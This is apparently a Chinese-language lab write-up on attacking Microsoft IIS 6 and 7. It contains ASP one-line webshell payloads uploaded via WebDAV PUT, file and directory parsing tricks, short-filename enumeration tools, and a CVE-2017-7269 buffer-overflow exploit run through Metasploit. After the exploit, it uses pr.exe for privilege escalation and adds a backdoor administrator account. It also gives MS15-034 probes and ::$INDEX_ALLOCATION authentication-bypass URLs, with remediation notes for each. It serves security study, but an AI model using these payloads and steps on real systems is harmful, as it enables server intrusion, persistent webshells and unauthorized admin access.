安装IIS6
这边在Windows Server 2003上安装
IIS 6.X 安装是需要插件的
安装完成了
打开就是这样
安装IIS7
IIS7-win7-x64
IIS 6.X渗透
0x01 IIS写权限漏洞
实操
开启WebDAV引起的IIS写权限漏洞(攻击者可以上传文件)
PUT任意上传漏洞!
开启脚本资源访问和写入:
尝试写一个html文件
<center><h1>this is ASP a001 hello</center><h1><%eval request("a001")%>
IIS7远程访问一下
这边用一个工具
添加对端IP和端口
看到是可以写入的
打开Windows Server 2003上默认网站对用户的权限
写入一句话木马
<%eval request("a")%>
利用一个很老的.exe
文件 进行PUT上传
可以看到成功了
去Windows Server 2003上看一下 刷新一下
可以看到上传成功了
这里说明一下
成功通过PUT方法上传了一个含有asp
的一句话木马的txt文件
之所以不直接上传一个asp一句话是因为通常上传txt文本不会出错,但是上传asp就会报错
这个时候经过修改一下就可以了
这里要去Windows Server 2003开启IIS的asp解析功能
然后把刚才上传上去的1.txt文件改名为shell.asp
然后访问,拿蚁剑连接就可以了
防御
1.关闭 WebDav
2.关闭写入权限
0x02 解析漏洞
IIS文件解析漏洞
原理
IIS文件解析漏洞:*.asp;.xxx
像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。
实操
IIS文件解析漏洞
首先在Windows Server 2003上创建一个a001.asp
<%=time()%> 会显示当前的时间
同样也是要开启IIS的asp解析功能
远程访问一下
然后开始分析
a001.asp;.jpg
-->实际访问的是a001.asp
a001.asp;.zip
-->实际访问的是a001.zip
这个时候 当我们将这个内容改成asp的一句话木马时
访问一下
拿蚁剑连接一下 是可以的
IIS目录解析漏洞
原理
IIS目录解析漏洞:以*.asp
命名的文件夹中的文件都会被当作asp文件执行
创建一个1.asp目录
把之前的1.txt复制进来
访问一下
防御
设置权限无
不允许新建目录。
上传的文件需经过重命名(时问戳+随机数+jpg等)
0x03 IIS短文件漏洞
简介
攻击者可以利用~
字符猜解或遍历服务器中的文件名,或对IIS服务器中的 Net framework进行拒绝服务攻击!
就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件
我们到IIS目录下 去看一下
dir /x
IIS短文件名产生
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种
IIS8.0之后的版本只能通过 OPTIONS和 TRACE方法被猜测成功
实操
IIS8.0以下版本需要开启 ASP.NET支持,IIS大于等于8.0版本,即使没有安装 ASP.NET,通过OPTIONS和 TRACE方法也可以猜解成功
需要安装一下ASP.NET
然后就多了这么一个东西
新建一个.aspx
的文件
可以看到它也是存在的
正常情况下 我们远程访问一下
它的返回是404
或者是400的错误
用一个工具去爆破它
具体看这里
https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner
安装java7
启动就是这样
需要输入对端的IP
这里选no
然后一路回车就好了
它就爆破出来了
修复建议
1.从CMD命令关闭NTFS8.3文件格式的支持
Windows server2003:(1代表关闭,0代表开启
关闭该功能
fsutil behavior set disable8dot3 1
Windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
不同系统关闭命令稍有区别,该功能默认是开启的
2.从修改注册表关闭NTFS 8.3文件格式的支持
快捷键Win+R打开命令窗口,输入 regedit打开注册表窗口
找到路径
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
将其中的 NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式
注意
以上两种方式修改完成后,均需要重启系统生效。
此方法只能禁止NTFS 8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失
实战用处
猜后台。
猜敏感文件,例如备份的
rar
、zip
、.bαk
、.SQL
文件等。在某些情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件。
IIS短文件漏洞局限性
如果文件名本身太短也是无法猜解的
此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解
如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配
如果文件夹名前6位字符带点
.
,扫描程序会认为是文件而不是文件夹,最终出现误报不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测
0x04 RCE-CVE-2017-7269
简介
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以If:<http://
开头的长标头执行任意代码 PROPFIND请求
影响范围:
WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现一下这个漏洞
根据需求进行设置
然后在Win7 远程打一下Windows Server 2003
Exp地址
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
Exp是基于python2的
修改一下
对端IP和端口
执行一下
去看看Win7的进程
多了calc.exe
这样一个进程
证明是存在缓冲区溢出的
漏洞修复
关闭 WebDav服务
使用相关防护设备
实战中的应用
条件:IIS 6.0 开启WebDav
接下来演示
exp:
https://github.com/zcgonvh/cve-2017-7269
下载后注意一点 进行更名一下
然后我们把这个.rb
文件放入MSF的渗透框架中
/usr/share/metasploit-framework/modules/exploits/windows/iis/
然后执行cp命令即可
cp /root/Desktop/cve_2017_7269.rb .
启动MSF
使用这个模块
use exploit/windows/iis/cve_2017_7269
但是并没有拿到shell
进行排错一下
在IP地址中未分配,可以解释为非默认绑定
注意:该exp只适用默认绑定和默认路径的情况才可以提权!
这里 做不做都是可以的
就是批量检测进程溢出
这里有个工具
https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
python IIS6_WebDAV_Scanner.py -p 1.txt
得到溢出值是19
然后设置MSF中的PhysicalPathLength为19
MSF 重新跑一下
成功拿到了shell
简单看一下权限
是真的 好低哇
这里用到一个提权工具
针对缓冲区溢出的一个工具 挺老的
进行上传
upload '/root/Desktop/pr.exe' c:\Windows\system32\inetsrv
然后进行创建用户
pr.exe "net user a002 963852 /add"
添加到管理员组
pr.exe "net localgroup administrators a002 /add
IIS7.x渗透
0x01 解析漏洞
原理
IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/php,会将a001.jpg/png解析为php文件
修复建议:配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
我这边在Windows Server 2008 R2上进行搞
安装成功后 打开
IIS7是有一个默认网站的
本地访问一下 ok
这就成功了
确定版本
确认是IIS7.5的版本
然后这边我用phpstudy进行联动
切换版本
报了个错 说找不到
把这个文件扩展名 打开
Google的解决方案是说 因为phpstudy安装在了C盘目录下
所以启动要拿管理员启动
切换成功
查看网站的基本信息
默认端口是8980
那就访问一下phpstudy网站目录下的东西吧
访问康康哇
成功访问
如果你没有用phpstudy的话
那么就要手动添加
右键添加 选择php安装目录下的的php-cgi.exe
的文件 就可以了
强调一下
这个勾要打上
把Windows Server 2008 R2的防火墙关闭一下
然后远程访问一下
中间端口打错了
解析漏洞
我们访问一下
发现是不可以的
解析漏洞来了
把这个对勾去了就可以了
成功解析为.php
文件
WebDAV在IIS7.5 在这里
修复建议
配置 cgi.fix_pathinfo(php.ini中)
为0并重启php-cgi程序
0x02 HTTP.SYS远程代码执行(MS15-034)
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2
漏洞影响版本
IIS7.5、IIS8.0、IIS8.5
漏洞复现
竟然304了
这里说一下304这个状态码
304状态码或许不应该认为是一种错误,而是对客户端有缓存情况下服务端的一种响应
直接Ctrl+F5强制刷新就可以了
ok 正常了 拿到了200的状态码
JS前端的修改进行验证
添加这段内容进行验证
Range: bytes=0-18446744073709551615
返回码状态为416 Requested Range Not Satisfiable
则存在 HTTP.SYS远程代码执行漏洞
漏洞影响版本:IIS6.0,IIS7.5
修复建议
安装修复补丁(KB3042553)
0x03 认证绕过漏洞
简介
Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
漏洞影响版本
IIS6.0、IIS7.5
漏洞原因
Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。
主要包括以下三类绕过
(1)安装了PHP的Microsof IIS6.0身份验证绕过
IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“∷$INDEX_ALLOCATION
”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露:
/admin::$INDEX_ALLOCATION/index.php
(2)Microsof IIS7.5经典ASP身份验证绕过
配置了经典ASP和 .NET Framework 4.0的Microsof IIS7.5,通过将:i30:I NDEX_ALLOCATION
后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制
/admin:$i30:$INDEX_ALLOCATION/index.asp
(3)Microsof IIS7.5 .NET源代码公开和身份验证绕过
在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞;
http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
演示一下第三个
.NAT版本需要是4以上
网站目录在这里
搞个文件夹 丢个index.php
当我们把这个匿名身份验证禁用
访问一下
就变成401的未授权了
然后我们进行绕过
http://IP/a001:$i30:$INDEX_ALLOCATION/index.php
0x04 解析漏洞+认证绕过漏洞
目标站点限制上传和访问php文件
可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行
网站目录下有一个 index.aspx
的文件,里面写有php代码
在这里插入图片描述
认证漏洞绕过访问 index.aspx文件,页面返回乱码,未执行 phpinfo代码!
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx
这里我们在加上解析漏洞
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php
在这里插入图片描述
成功执行